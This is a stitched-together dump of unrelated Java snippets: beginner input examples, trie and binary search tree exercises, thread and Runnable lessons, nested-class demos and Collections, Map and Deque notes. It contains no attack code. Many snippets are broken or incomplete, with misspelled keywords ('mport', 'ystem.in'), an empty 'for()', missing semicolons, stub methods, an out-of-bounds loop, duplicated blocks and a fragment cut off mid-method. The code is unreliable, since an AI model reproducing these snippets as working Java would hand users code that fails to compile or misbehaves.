    public boolean equals(Object o) {
        if (o == this)
            return true;
        if (!(o instanceof WrongVoucher))
            return false;
        WrongVoucher other = (WrongVoucher)o;
        boolean currencyCodeEquals = (this.currencyCode == null && other.currencyCode == null)
                || (this.currencyCode != null && this.currencyCode.equals(other.currencyCode));
        boolean storeEquals = (this.store == null && other.store == null)
                || (this.store != null && this.store.equals(other.store));
        return this.amount == other.amount && currencyCodeEquals && storeEquals;
    }
package com.company;
import java.util.Scanner;

public class CWH_05_TakingInpu {
    public static void main(String[] args) {
        System.out.println("Taking Input From the User");
        Scanner sc = new Scanner(System.in);
//        System.out.println("Enter number 1");
//        int a = sc.nextInt();
//        float a = sc.nextFloat();
//        System.out.println("Enter number 2");
//        int b = sc.nextInt();
//        float b = sc.nextFloat();

//        int sum = a +b;
//        float sum = a +b;
//        System.out.println("The sum of these numbers is");
//        System.out.println(sum);
//        boolean b1 = sc.hasNextInt();
//        System.out.println(b1);
//        String str = sc.next();
        String str = sc.nextLine();
        System.out.println(str);

    }
}
Scanner S = new Scanner(System.in);  //(Read from the keyboard)
int a = S.nextInt();  //(Method to read from the keyboard)
import java.util.Scanner;  // Importing  the Scanner class
Scanner sc = new Scanner(System.in);  //Creating an object named "sc" of the Scanner class.
  public static void setData(Object object){
    for (Field field : object.getClass().getDeclaredFields()) {
      field.setAccessible(true);
      try {
        String value = String.valueOf(field.get(object));
        if ("null".equals(value)){
          field.set(object, "test");
        }
      } catch (Exception e) {
        throw new RuntimeException(e);
      }
    }
  }
  public static void setData(Object object){
    for (Field field : object.getClass().getDeclaredFields()) {
      field.setAccessible(true);
      try {
        String value = String.valueOf(field.get(object));
        if ("null".equals(value)){
          field.set(object, "test");
        }
      } catch (Exception e) {
        throw new RuntimeException(e);
      }
    }
  }
public class Word {
    private char[] tab;
    private int pole = 0;

    public Word() {
        tab = new char[100];
        for (int i = 0; i < tab.length; ++i) {
            tab[i] = 0;
        }
    }

    public void addChar(char add) {
        tab[pole] = add;
        pole++;
    }

    public void show() {
        for (int i = 0; i < tab.length; ++i) {
            if (tab[i] == 0) {
                break;
            } else {
                System.out.print(tab[i] + " ");
            }
        }
    }

    public int length(){
        int k=0;
        for(int i=0; i <= tab.length; i++){
            if(tab[i] == 0)
                break;
            else{
                k++;
            }
        }
        return k;
    }
}
public class PrefixProblem {
    static class Node {
        Node[] children = new Node[26];
        boolean endOfWord = false;
        int freq;

        Node() {
            for (int i = 0; i < 26; i++) children[i] = null;
            freq=1;
        }
    }

    public static Node root = new Node();

    public static void insert(String key){
        Node curr=root;
        for(int i=0;i<key.length();i++){
            int idx=key.charAt(i)-'a';
            if(curr.children[idx]==null){
                curr.children[idx]=new Node();
            }
            else curr.children[idx].freq++;
            curr=curr.children[idx];
        }
        curr.endOfWord=true;
    }

    public static void findPrefix(Node root, String ans){
        if(root==null) return;
        if(root.freq == 1) {
            System.out.print(ans + " ");
            return;
        }
        for(int i=0;i<26;i++){
            if(root.children[i]!=null){
                findPrefix(root.children[i], ans+(char)(i+'a'));
            }
        }
    }


    public static void main(String[] args){
        String[] words={"zebra","dog","duck","dove"};
        for (String word : words) insert(word);
        root.freq=-1;
        findPrefix(root,"");
    }
}
public class Tries {
    static class Node {
        Node[] children = new Node[26];
        boolean endOfWord = false;

        Node() {
            for (int i = 0; i < 26; i++) children[i] = null;
        }
    }

    public static Node root = new Node();

    public static void insert(String word) {
        Node curr = root;
        for (int level = 0; level < word.length(); level++) {
            int idx = word.charAt(level) - 'a';
            if (curr.children[idx] == null) {
                curr.children[idx] = new Node();
            }
            curr = curr.children[idx];
        }
        curr.endOfWord = true;
    }

    public static boolean search(String key) {
        Node curr = root;
        for (int i = 0; i < key.length(); i++) {
            int idx = key.charAt(i) - 'a';
            if (curr.children[idx] == null) return false;
            curr = curr.children[idx];
        }
        return curr.endOfWord;
    }

    public static boolean stringBreak(String key) {
        if(key.length()==0) return true;
        for (int i = 1; i <= key.length(); i++) {
            String word1=key.substring(0,i);
            String word2=key.substring(i);
            if(search(word1) && stringBreak(word2)){
                return true;
            }
        }
        return false;
    }


    public static int countSubstrings(String word){
        for(int i=0;i<word.length();i++){
            insert(word.substring(i));
        }
        return countNodes(root);
    }
    public static int countNodes(Node root){
        if(root==null) return 0;
        int count=0;
        for(int i=0;i<26;i++){
            if(root.children[i]!=null){
                count+=countNodes(root.children[i]);
            }
        }
        return count+1;
    }

    public static String longestWord(String[] words){
        String str="";
        for (String word : words) insert(word);

        return str;
    }
    public static boolean isPresent(String word){
        for()
    }



    public static void main(String[] args) {
        String[] words = {"the", "there", "a", "any", "their", "i", "sam", "samsung","like"};
//        for (String word : words) {
//            insert(word);
//        }

    }
}
interface Language {
  public void getType();
  public void getVersion();
}
 BufferedReader in
   = new BufferedReader(new FileReader("foo.in"));
 
Scanner sc = new Scanner(ystem.in);    
sc.useLocale(Locale.ENGLISH);
List<Integer> numbers = new ArrayList<Integer>(
    Arrays.asList(5,3,1,2,9,5,0,7)
);

List<Integer> head = numbers.subList(0, 4);
List<Integer> tail = numbers.subList(4, 8);
System.out.println(head); // prints "[5, 3, 1, 2]"
System.out.println(tail); // prints "[9, 5, 0, 7]"

Collections.sort(head);
System.out.println(numbers); // prints "[1, 2, 3, 5, 9, 5, 0, 7]"

tail.add(-1);
System.out.println(numbers); // prints "[1, 2, 3, 5, 9, 5, 0, 7, -1]"
import java.util.ArrayList;

public class BST extends Trees{
    static ArrayList<Integer> arr=new ArrayList<>();
    public static node insert(int val, node root){
        if(root==null){
            root=new node(val);
            return root;
        }
        if(val<root.data)
            root.left=insert(val,root.left);
        else
            root.right = insert(val,root.right);
        return root;
    }

    public static void inorder(node root){
        if(root==null) return;
        inorder(root.left);
        System.out.print(root.data +" ");
        inorder(root.right);
    }

    public static boolean find(node root, int val){
        if(root==null) return false;
        if(root.data==val) return true;
        if(val> root.data) return find(root.right,val);
        else return find(root.left,val);
    }

    public static node delete(node root, int val){
        if (root.data < val) root.right=delete(root.right,val);
        else if(root.data > val) root.left=delete(root.left,val);
        else {
            if(root.left==null && root.right==null){
                return null;
            }
            if(root.left==null) return root.right;
            else if(root.right==null) return root.left;
            else{
                node inorderSuccessor=findInorderSuccessor(root.right);
                root.data=inorderSuccessor.data;
                root.right=delete(root.right,inorderSuccessor.data);
            }
        }
        return  root;
    }
    public static node findInorderSuccessor(node root){
        while(root.left!=null){
            root=root.left;
        }
        return root;
    }

    public static void printInRange(node root, int k1, int k2){
        if(root==null) return ;
        if(root.data>=k1 && root.data<=k2){
            printInRange(root.left,k1,k2);
            System.out.print(root.data+" ");
            printInRange(root.right,k1,k2);
        }
        else if(root.data<k1) printInRange(root.right,k1,k2);
        else printInRange(root.left,k1,k2);
    }

    public static void printRoot2Leaf(node root, ArrayList<Integer> path){
        if(root==null) return;
        path.add(root.data);
        if(root.left==null && root.right==null)
            System.out.println(path);
        printRoot2Leaf(root.left,path);
        printRoot2Leaf(root.right,path);
        path.remove(path.size()-1);
    }

    public static boolean isValidBST(node root){
        INORDER(root);
        for(int i=0;i<arr.size()-1;i++){
            if(arr.get(i)> arr.get(i+1)) return false;
        }
        return true;
    }
    public static void INORDER(node root){
        if(root==null) return;
        INORDER(root.left);
        arr.add(root.data);
        INORDER(root.right);
    }

    public static node createBST(int[] arr,int st, int end){  //always taking mid-value of array and making it root
        if(st>end) return null;
        int mid=(st+end)/2;
        node root=new node(arr[mid]);
        root.left=createBST(arr,st,mid-1);
        root.right=createBST(arr,mid+1,end);
        return root;
    }

    public class info {
        boolean isBST;
        int size;
        int min;
        int max;

        public info(boolean isBST, int size, int min, int max){
            this.isBST=isBST;
            this.size=size;
            this.min=min;
            this.max=max;
        }
    }
    public static int maxBST=0;
    public info largestBST(node root){
        if(root==null) return new info(true,0,Integer.MAX_VALUE,Integer.MIN_VALUE);
        info leftInfo=largestBST(root.left);
        info rightInfo=largestBST(root.right);
        int size=leftInfo.size+rightInfo.size+1;
        int min=Math.min(root.data,Math.min(leftInfo.min, rightInfo.min));
        int max=Math.max(root.data,Math.max(leftInfo.max, rightInfo.max));
        if(root.data<= leftInfo.max||root.data>= rightInfo.min) {
            return new info(false,size,min,max);
        }
        if(leftInfo.isBST && rightInfo.isBST){
            maxBST=Math.max(maxBST,size);
            return new info(true,size,min,max);
        }
        return new info(false,size,min,max);
    }

    public static void main(String[] args) {
//        int[] arr = {8,5,3,1,4,6,10,11,14};
        int[] arr={3,5,6,8,10,11,12};
        node root=createBST(arr,0, arr.length-1);
        inorder(root);
    }
}
String propertiesJSON = obj.get("properties").toString();
                            Type listType = new TypeToken<ArrayList<Property>>() {
                            }.getType();
                            List<Property> propertyList = GsonProvider.getGson().fromJson(propertiesJSON, listType);
                            JsonObject properties = new JsonObject();
                            for (Property property : propertyList) {
                                properties.addProperty(property.key, property.value);
                            }
apiKey = System.getenv("SENDGRID_API_KEY");
#热部署生效
spring.devtools.restart.enabled: true
#设置重启的目录
#spring.devtools.restart.additional-paths: src/main/java
#classpath目录下的WEB-INF文件夹内容修改不重启
spring.devtools.restart.exclude: WEB-INF/**
import java.util.*;
import java.util.LinkedList;

public class Trees {
    public static class node{
        int data;
        node left,right;

        public node(int data){
            this.data=data;
            this.left=null;
            this.right=null;
        }
    }
    public static int height(node root){
        if(root==null) return 0;
        int lh=height(root.left);
        int rh=height(root.right);
        return Math.max(lh,rh)+1;
    }

    public static int count(node root){
        if(root==null) return 0;
        return count(root.right) + count(root.left) +1;
    }

    public static int sum(node root){
        if(root == null) return 0;
        return sum(root.left)+sum(root.right) + root.data;
    }

    public static int diameter(node root){
        if(root==null) return 0;
        int lh=height(root.left);
        int rh=height(root.right);
        int ld=diameter(root.left);
        int rd=diameter(root.right);
        int selfD=lh+rh+1;
        return Math.max(selfD,Math.max(ld,rd));
    }

    static class info{
        int diam;
        int ht;

        info(int diam,int ht){
            this.diam=diam;
            this.ht=ht;
        }
    }
    public static info Diameter(node root){
        if(root ==null) return new info(0,0);
        info leftInfo=Diameter(root.left);
        info rightInfo=Diameter(root.right);
        int ht=Math.max(leftInfo.ht, rightInfo.ht)+1;
        int diam=Math.max(Math.max(leftInfo.diam,rightInfo.diam), leftInfo.ht+rightInfo.ht+1);
        return new info(diam,ht);
    }

    public static boolean isSubtree(node root, node subRoot){
        if(root==null) return false;
        if(root.data==subRoot.data){
            if(isIdentical(root,subRoot))
                return true;
        }
        return isSubtree(root.left,subRoot)||isSubtree(root.right,subRoot);
    }

    public static boolean isIdentical(node root, node subRoot){
        if(root==null && subRoot==null) return true;
        else if (root==null||subRoot==null || root.data!=subRoot.data) return false;
        if(!isIdentical(root.left,subRoot.left)) return false;
        if(!isIdentical(root.right,subRoot.right)) return false;
        return true;
    }

    static class information{
        node node;
        int hd;
        public information(node node,int hd){
            this.node=node;
            this.hd=hd;
        }
    }
    public static void topView(node root){
        Queue<information> q=new LinkedList<>();
        HashMap<Integer,node> map = new HashMap<>();

        int min=0,max=0;
        q.add(new information(root,0));
        q.add(null);
        while(!q.isEmpty()){
            information curr=q.remove();
            if (curr == null) {
                if (q.isEmpty()) break;
                else q.add(null);
            }
            else{
                if(!map.containsKey(curr.hd)) map.put(curr.hd, curr.node);
                if(curr.node.left!=null) {
                    q.add(new information(curr.node.left, curr.hd - 1));
                    min = Math.min(min, curr.hd - 1);
                }
                if(curr.node.right!=null) {
                    q.add(new information(curr.node.right, curr.hd + 1));
                    max = Math.max(curr.hd + 1, max);
                }
            }
        }
        for(int i=min;i<=max;i++){
            System.out.print(map.get(i).data + " ");
        }
    }

    public static ArrayList<ArrayList<Integer>> levelOrder(node root){
    Queue<node> q=new LinkedList<>();
    ArrayList<Integer> arr=new ArrayList<>();
    ArrayList<ArrayList<Integer>> ans=new ArrayList<>();
    q.add(root);
    q.add(null);
    while(!q.isEmpty()){
        while(q.peek()!=null) {
            if (q.peek().left != null) q.add(q.peek().left);
            if (q.peek().right != null) q.add(q.peek().right);
            arr.add(q.peek().data);
            q.remove();
        }
            q.add(null);
            q.remove();
            ans.add(arr);
            arr=new ArrayList<>();
            if(q.size()==1 && q.peek()==null) break;
    }
    Collections.reverse(ans);
    return  ans;
    }

    public static void kLevel(node root, int level, int k){
        if(level==k){
            System.out.print(root.data + " ");
            return;
        }
        else{
            kLevel(root.left,level+1,k);
            kLevel(root.right,level+1,k);
        }
    }

    public static int lowestCommonAncestor(node root, int n1, int n2){
        // Store the paths of both nodes in arraylist and iterate
        ArrayList<node> path1=new ArrayList<>();
        ArrayList<node> path2=new ArrayList<>();
        getPath(root,n1,path1);
        getPath(root,n2,path2);
        int i=0;
        for(;i< path1.size()&&i< path2.size();i++){
            if(path1.get(i) != path2.get(i)) break;
        }
        return path1.get(i-1).data;
    }
    public static boolean getPath(node root, int n, ArrayList<node> path){
        if(root==null) return false;
        path.add(root);
        if(root.data==n) return true;
        boolean foundLeft=getPath(root.left,n,path);
        boolean foundRight=getPath(root.right,n,path);
        if(foundLeft||foundRight) return true;
        path.remove(path.size()-1);
        return false;
    }

    public static node lca(node root, int n1, int n2){
        //both the nodes belong to the same subtree of lca root.
        if( root==null || root.data==n1 || root.data==n2) return root;
        node leftLca=lca(root.left,n1,n2);
        node rightLca=lca(root.right,n1,n2);
        if(leftLca==null) return rightLca;
        if(rightLca==null) return leftLca;
        return root;
    }



    public static int minDistance(node root, int n1, int n2){
        node lca= lca(root,n1,n2);//calculate the separate distances from both the nodes to the lca.
        return distance(lca,n1) + distance(lca,n2);
    }
    public static int distance(node root, int n){
        //calculating the distance from root(lca) to the given node n.
        if(root==null) return -1;
        if(root.data==n) return 0;
        int leftDistance=distance(root.left,n);
        int rightDistance=distance(root.right,n);
        if(leftDistance==-1) return rightDistance+1;
        else return leftDistance+1;
    }

    public static int kthAncestor(node root, int n, int k){
        if(root==null) return -1;
        if(root.data==n) return 0;
        int leftDist=kthAncestor(root.left,n,k);
        int rightDist=kthAncestor(root.right,n,k);
        if(leftDist==-1 && rightDist==-1) return -1;
        int max=Math.max(leftDist,rightDist);
        if(max+1==k) System.out.println(root.data);
        return max+1;
    }


    public static int  sumTree(node root){
        if(root==null) return 0;
        int leftChild=sumTree(root.left);
        int rightChild=sumTree(root.right);
        int data=root.data;
        int newLeft=root.left==null?0:root.left.data;
        int newRight=root.right==null?0:root.right.data;
        root.data=leftChild + rightChild + newLeft+newRight;
        return data;
    }

    public static void preOrder(node root){
        if(root==null) return;
        System.out.print(root.data + " ");
        preOrder(root.left);
        preOrder(root.right);

    }

    public node removeLeafNodes(node root, int target) {
        if(root==null) return null;
        root.left=removeLeafNodes(root.left,target);
        root.right=removeLeafNodes(root.right,target);
        if(root.left==null && root.right==null){
            if(root.data==target) return null;
        }
        return root;
    }

    public node invertTree(node root) {
        if(root==null) return null;
        else if (root.left==null && root.right==null) return root;
        node m=invertTree(root.left);
        node n=invertTree(root.right);
        root.left=n;
        root.right=m;
        return root;
    }
    public static void main(String[] args){
        node root =new node(1);
        root.left=new node(2);
        root.right=new node(3);
        root.left.left=new node(4);
        root.left.right=new node(5);
        root.right.left=new node(6);
        root.right.right=new node(7);
        sumTree(root);
        preOrder(root);
    }
}
//One Thread method that a supervisor thread may use to monitor another thread is .isAlive(). This method returns true if the thread is still running, and false if it has terminated. A supervisor might continuously poll this value (check it at a fixed interval) until it changes, and then notify the user that the thread has changed state.

import java.time.Instant;
import java.time.Duration;
 
public class Factorial {
 public int compute(int n) {
   // the existing method to compute factorials
 }
 
 // utility method to create a supervisor thread
 public static Thread createSupervisor(Thread t) {
   Thread supervisor = new Thread(() -> {
     Instant startTime = Instant.now();
     // supervisor is polling for t's status
     while (t.isAlive()) {
       System.out.println(Thread.currentThread().getName() + " - Computation still running...");
       Thread.sleep(1000);
     }
   });
 
   // setting a custom name for the supervisor thread
   supervisor.setName("supervisor");
   return supervisor;
 
 }
 
 public static void main(String[] args) {
   Factorial f = new Factorial();
 
   Thread t1 = new Thread(() -> {
     System.out.println("25 factorial is...");
     System.out.println(f.compute(25));
   });
 
 
   Thread supervisor = createSupervisor(t1);
 
   t1.start();
   supervisor.start();
 
   System.out.println("Supervisor " + supervisor.getName() + " watching worker " + t1.getName());
 }
}
mport java.util.Random;

// Checkpoint 1
// public class CrystalBall implements Runnable {
  
public class CrystalBall{

  /* Instance Variables */
  // Removed in checkpoint 3
  /* Constructors */
  // Removed in checkpoint 3
  /* Instance Methods */
  // Removed in checkpoint 3

  public void ask(Question question) {
    System.out.println("Good question! You asked: " + question.getQuestion());
    this.think(question);
    System.out.println("Answer: " + this.answer());
  }

  private void think(Question question) {
    System.out.println("Hmm... Thinking");
    try {
      Thread.sleep(this.getSleepTimeInMs(question.getDifficulty()));
    } catch (Exception e) {
      System.out.println(e);
    }
    System.out.println("Done!");
  }

  private String answer() {
    String[] answers = {
        "Signs point to yes!",
        "Certainly!",
        "No opinion",
        "Answer is a little cloudy. Try again.",
        "Surely.",
        "No.",
        "Signs point to no.",
        "It could very well be!"
    };
    return answers[new Random().nextInt(answers.length)];
  }

  private int getSleepTimeInMs(Question.Difficulty difficulty) {
    switch (difficulty) {
      case EASY:
        return 1000;
      case MEDIUM:
        return 2000;
      case HARD:
        return 3000;
      default:
        return 500;
    }
  }
}

mport java.util.Random;

// Checkpoint 1
// public class CrystalBall implements Runnable {
  
public class CrystalBall{

  /* Instance Variables */
  // Removed in checkpoint 3

  /* Constructors */
  // Removed in checkpoint 3

  /* Instance Methods */
  // Removed in checkpoint 3

  public void ask(Question question) {
    System.out.println("Good question! You asked: " + question.getQuestion());
    this.think(question);
    System.out.println("Answer: " + this.answer());
  }

  private void think(Question question) {
    System.out.println("Hmm... Thinking");
    try {
      Thread.sleep(this.getSleepTimeInMs(question.getDifficulty()));
    } catch (Exception e) {
      System.out.println(e);
    }
    System.out.println("Done!");
  }

  private String answer() {
    String[] answers = {
        "Signs point to yes!",
        "Certainly!",
        "No opinion",
        "Answer is a little cloudy. Try again.",
        "Surely.",
        "No.",
        "Signs point to no.",
        "It could very well be!"
    };
    return answers[new Random().nextInt(answers.length)];
  }

  private int getSleepTimeInMs(Question.Difficulty difficulty) {
    switch (difficulty) {
      case EASY:
        return 1000;
      case MEDIUM:
        return 2000;
      case HARD:
        return 3000;
      default:
        return 500;
    }
  }
}
public class Factorial implements Runnable {
 private int n;
 
 public Factorial(int n) {
   this.n = n;
 }
 
 public int compute(int n) {
   // ... the code to compute factorials
 }
 
 public void run() {
   System.out.print("Factorial of " + String.valueOf(this.n) + ":")
   System.out.println(this.compute(this.n));
 }
 
 public static void main(String[] args) {
   Factorial f = new Factorial(25);
   Factorial g = new Factorial(10);
   Thread t1 = new Thread(f);
   Thread t2 = new Thread(f);
   t1.start();
   t2.start();
 }
}

//Another way of using the Runnable interface, which is even more succinct, is to use lambda expressions
public class Factorial {
 public int compute(int n) {
   // ... the code to compute factorials
 }
 
 public static void main(String[] args) {
   Factorial f = new Factorial();
 
   // the lambda function replacing the run method
   new Thread(() -> {
     System.out.println(f.compute(25));
   }).start();
 
   // the lambda function replacing the run method
   new Thread(() -> {
     System.out.println(f.compute(10));
   }).start();
 }
}
/*Extended the Thread Class
Created and Overrode a .run() method from Thread
Instantiated HugeProblemSolver and called .start() which signifies to start a new thread and search in the class for the .run() method to execute.*/
//CrystalBall
import java.util.Random;

public class CrystalBall extends Thread{
  private Question question;

  public CrystalBall(Question question){
    this.question = question;
    }

  @Override
  public void run() {
    ask(this.question);
  }


  private int getSleepTimeInMs(Question.Difficulty difficulty) {
    switch (difficulty) {
      case EASY:
        return 1000;
      case MEDIUM:
        return 2000;
      case HARD:
        return 3000;
      default:
        return 500;
    }
  }

  private String answer() {
    String[] answers = {
        "Signs point to yes!",
        "Certainly!",
        "No opinion",
        "Answer is a little cloudy. Try again.",
        "Surely.",
        "No.",
        "Signs point to no.",
        "It could very well be!"
    };
    return answers[new Random().nextInt(answers.length)];
  }

  private void think(Question question) {
    System.out.println("Hmm... Thinking");
    try {
      Thread.sleep(this.getSleepTimeInMs(question.getDifficulty()));
    } catch (Exception e) {
      System.out.println(e);
    }
    System.out.println("Done!");
  }

  public void ask(Question question) {
    System.out.println("Good question! You asked: " + question.getQuestion());
    this.think(question);
    System.out.println("Answer: " + this.answer());
  }
}

//FortuneTeller
import java.util.Arrays;
import java.util.List;

public class FortuneTeller {

  public static void main(String[] args) {

    List<Question> questions = Arrays.asList(
        new Question(Question.Difficulty.EASY, "Am I a good coder?"),
        new Question(Question.Difficulty.MEDIUM, "Will I be able to finish this course?"),
        new Question(Question.Difficulty.EASY, "Will it rain tomorrow?"),
        new Question(Question.Difficulty.EASY, "Will it snow today?"),
        new Question(Question.Difficulty.HARD, "Are you really all-knowing?"),
        new Question(Question.Difficulty.HARD, "Do I have any hidden talents?"),
        new Question(Question.Difficulty.HARD, "Will I live to be greater than 100 years old?"),
        new Question(Question.Difficulty.MEDIUM, "Will I be rich one day?"),
        new Question(Question.Difficulty.MEDIUM, "Should I clean my room?")
    );

    questions.stream().forEach(q -> {
      CrystalBall c = new CrystalBall(q);
      c.start();
    });
  }
}
//Shadowing allows for the overlapping scopes of members with the same name and type to exist in both a nested class and the enclosing class simultaneously. Depending on which object we use to call the same variable in a main method will result in different outputs.

class Book {
  String type="Nonfiction";
	// Nested inner class
	class Biography {
    String type="Biography";

    public void print(){
      System.out.println(Book.this.type);
      System.out.println(type);
    }

	}
}

public class Books {
	public static void main(String[] args) {
		Book book = new Book();
		Book.Biography bio = book.new Biography();
		bio.print();
	}
}
//Nonfiction
//Biography
class Lib { 
  String objType;
  String objName;
  static String libLocation = "Midfield St.";

  public Lib(String type, String name) {
    this.objType = type;
    this.objName = name;
  }

  private String getObjName() {
    return this.objName;
  }

  // inner class
  static class Book {
    String description;

    void printLibraryLocation(){
      System.out.println("Library location: "+libLocation);
    }
  }
}

public class Main {
  public static void main(String[] args) {
    Lib.Book book =  new Lib.Book();
    book.printLibraryLocation();

  }
}
class Lib {
  String objType;
  String objName;

  // Assign values using constructor
  public Lib(String type, String name) {
    this.objType = type;
    this.objName = name;
  }

  // private method
  private String getObjName() {
    return this.objName;
  }

  // Inner class
  class Book {
    String description;

    void setDescription() {
      if(Lib.this.objType.equals("book")) {
        if(Lib.this.getObjName().equals("nonfiction")) {
          this.description = "Factual stories/accounts based on true events";
        } else {
          this.description = "Literature that is imaginary.";
        }
      } else {
        this.description = "Not a book!";
        }
    }
    String getDescription() {
      return this.description;
    }
  }
}

public class Main {
  public static void main(String[] args) {
    Lib fiction = new Lib("book", "fiction");

    Lib.Book book1 = fiction.new Book();
    book1.setDescription();
    System.out.println("Fiction Book Description = " + book1.getDescription());
 
    Lib nonFiction = new Lib("book", "nonfiction");
    Lib.Book book2 = nonFiction.new Book();
    book2.setDescription();
    System.out.println("Non-fiction Book Description = " + book2.getDescription());
  }
}
class Outer {
  String outer;
  // Assign values using constructor
  public Outer(String name) {
    this.outer = name;
  }
 
  // private method
  private String getName() {
    return this.outer;
  }
}
 
  // Non-static nested class
  class Inner {
    String inner;
    String outer;
    
    public String getOuter() {
  // Instantiate outer class to use its method
  outer = Outer.this.getName();
}
// Given `intList` with the following elements: 5, 4, 1, 3, 7, 8
List<Integer> evenList = new ArrayList<>();
for(Integer i: intList) {
  if(i % 2 == 0) {
    evenList.add(i*2);
  }
}
// evenList will have elements 8, 16
/*A Stream is a sequence of elements created from a Collection source. A Stream can be used as input to a pipeline, which defines a set of aggregate operations (methods that apply transformations to a Stream of data). The output of an aggregate operation serves as the input of the next operation (these are known as intermediate operations) until we reach a terminal operation, which is the final operation in a pipeline that produces some non Stream output.*/
List<Integer> evenList = intList.stream()
  .filter((number) -> {return number % 2 == 0;})
  .map( evenNum -> evenNum*2)
  .collect(Collectors.toList());

import java.util.List;
import java.util.ArrayList;
import java.util.Map;
import java.util.TreeMap;
import java.util.Random;
public class Main {
  public static void main(String[] args) {
    List<Integer> myInts = new ArrayList<>();
    Random random = new Random();

    for(int i =0; i < 20; i++) {
      myInts.add(random.nextInt(5));
    }

    Map<Integer, Integer> intCount = countNumbers(myInts);
    for(Map.Entry<Integer, Integer> entry: intCount.entrySet()) {
      System.out.println("Integer: "+ entry.getKey()+" appears: "+ entry.getValue());
    }
  }

  public static Map<Integer, Integer> countNumbers(List<Integer> list) {
    Map<Integer, Integer> intCount = new TreeMap<>();
    for(Integer i: list){
      Integer currentCount = intCount.get(i);
      if(currentCount!=null){
        int newCount = currentCount+1;
        intCount.put(i, newCount);}
      else{intCount.put(i, 1);}
    }
    return intCount;
  }

}

/*
Output:
Integer: 0 appears: 3
Integer: 1 appears: 2
Integer: 2 appears: 8
Integer: 3 appears: 1
Integer: 4 appears: 6
//Map defines a generic interface for an object that holds key-value pairs as elements. The key is used to retrieve (like the index in an array or List) some value. A key must be unique and map to exactly one value.
//The HashMap defines no specific ordering for the keys and is the most optimized implementation for retrieving values.
//The LinkedHashMap keeps the keys in insertion order and is slightly less optimal than the HashMap.
//The TreeMap keeps keys in their natural order (or some custom order defined using a Comparator). This implementation has a significant performance decrease compared to HashMap and LinkedHashMap but is great when needing to keep keys sorted.
//A Map has the following methods for accessing its elements:
//put(): Sets the value that key maps to. Note that this method replaces the value key mapped to if the key was already present in the Map.
//get(): Gets, but does not remove, the value the provided key argument points to if it exists. This method returns null if the key is not in the Map.

Map<String, String> myMap = new HashMap<>();
 
myMap.put("Hello", "World") // { "Hello" -> "World" }
myMap.put("Name", "John") //   { "Hello" -> "World" }, { "Name" -> "John" }
 
String result = myMap.get("Hello") // returns "World" 
String noResult = myMap.get("Jack") // return `null`

// Given a map, `myMap`, with the following key-value pairs { "Hello" -> "World" }, { "Name" -> "John"}
for (Map.Entry<String, String> pair: myMap.entrySet()){
  System.out.println("key: "+pair.getKey()+", value: "+pair.getValue());
}
// OUTPUT TERMINAL:
// key: Name, value: John
// key: Hello, value: World
//There are many methods provided in the Collections class and we’ll cover a subset of those below:
//binarySearch(): Performs binary search over a List to find the specified object and returns the index if found. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
//max(): Finds and returns the maximum element in the Collection. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
//min(): Finds and returns the minimum element in the Collection. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
//reverse(): Reverses the order of elements in the List passed in as an argument.
//sort(): Sorts the List passed in as an argument. This method is overloaded to also accept a Comparator in order to define a custom sorting algorithm.
import java.util.List;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Collection;
import java.util.Set;
import java.util.HashSet;
import java.util.Iterator;
public class Main {
  public static void main(String[] args) {
    List<Integer> myList = new ArrayList<>();
    myList.add(3);
    myList.add(-1);
    myList.add(57);
    myList.add(29);

    Set<String> mySet = new HashSet<>();
    mySet.add("Hello");
    mySet.add("World");

    System.out.println("mySet max: \""+ Collections.max(mySet)+"\"");
    System.out.println();

    System.out.println("myList min: "+ Collections.min(myList));
    System.out.println();

    System.out.println("Index of 57 in myList is: "+Collections.binarySearch(myList, 57));
    System.out.println();


    System.out.println("myList prior to reverse: ");
    printCollection(myList);

    System.out.println();

    Collections.reverse(myList);
    System.out.println("myList reversed: ");
    printCollection(myList);

    System.out.println();

    System.out.println("myList prior to sort: ");
    printCollection(myList);

    System.out.println();

    Collections.sort(myList);
    System.out.println("myList after sort: ");
    printCollection(myList);


  }

  public static void printCollection(Collection<?> collection){
    Iterator<?> myItr = collection.iterator();

    while(myItr.hasNext()){
      System.out.println(myItr.next());
    }
  }
}
//the Collection interface provides a generic, general-purpose API when our program needs a collection of elements and doesn’t care about what type of collection it is.
//Implementing classes may implement collections methods and add restrictions to them, like a Set does to only contain unique elements. Also, implementing classes or extending interfaces do not need to implement all methods and instead will throw an UnsupportOperationException when a Collection method is not implemented.
//We’ve seen add() and remove() be used but some other methods Collection defines are:
//addAll() - receives a Collection argument and adds all the elements.
//isEmpty() - return true if the collection is empty, false otherwise.
//iterator() - returns an Iterator over the collection.
//size() - returns the number of elements in the collection.
//stream() - returns a Stream over the elements in the collection.
//toArray() - returns an array with all elements in the collection.

Collection<Integer> collection = new ArrayList<>();
collection.add(4);
collection.add(8);
 
boolean isEmpty = collection.isEmpty(); // false
int collectionSize = collection.size(); // 2
 
Integer[] collectionArray = collection.toArray(new Integer[0]);

private static <T> void printCollection(Collection<T> collection) {
    for(T item: collection){
      System.out.println(item);}
  }
//A Deque is a collection that allows us to manipulate elements from both the front and end of the collection.
//The Deque interface has two types of methods for manipulating the front and back of the collection.
//The following methods throw an exception when:
//addFirst(), addLast() - there is no space to add an element.
//removeFirst(), removeLast() - there is no element to remove.
//getFirst(), getLast() - there is no element to get.
//The following methods return a special value:
//offerFirst(), offerLast() - false when there is no space to add an element.
//pollFirst(), pollLast() - null when there is no element to remove.
//peekFirst(), peekLast() - null when there is no element to get.

Deque<String> stringDeque = new LinkedList<>();
stringDeque.addFirst("A"); // Front -> "A" <- end
stringDeque.offerFirst("B"); // Return `true` - front -> "B", "A" <- end
stringDeque.offerLast("Z"); // Returns `true` - front -> "B", "A", "Z" <- end
 
String a = stringDeque.removeFirst()  // Returns "B" - front -> "A", "Z"
String b = stringDeque.pollLast()  // Returns "Z" - front -> "A" <- back
String c = stringDeque.removeLast()  // Returns "A" - empty deque
 
String d = stringDeque.peekFirst()  // Returns null
String e = stringDeque.getLast() // Throws NoSuchElementException

// Assuming `stringDeque` has elements front -> "Mike", "Jack", "John" <- back
Iterator<String> descItr = stringDeque.descendingIterator();
 
while(descItr.hasNext()) {
  System.out.println(descItr.next());
}
// OUTPUT TERMINAL:  "John", "Jack", "Mike"
 public static boolean isPossible(int[] nums, int mid, int k){
        int subArr=1;
        int sum=0;
        for(int i=0;i<nums.length;i++){
            sum+=nums[i];
            if(sum>mid){
                subArr++;
                sum=nums[i];
            }
        }
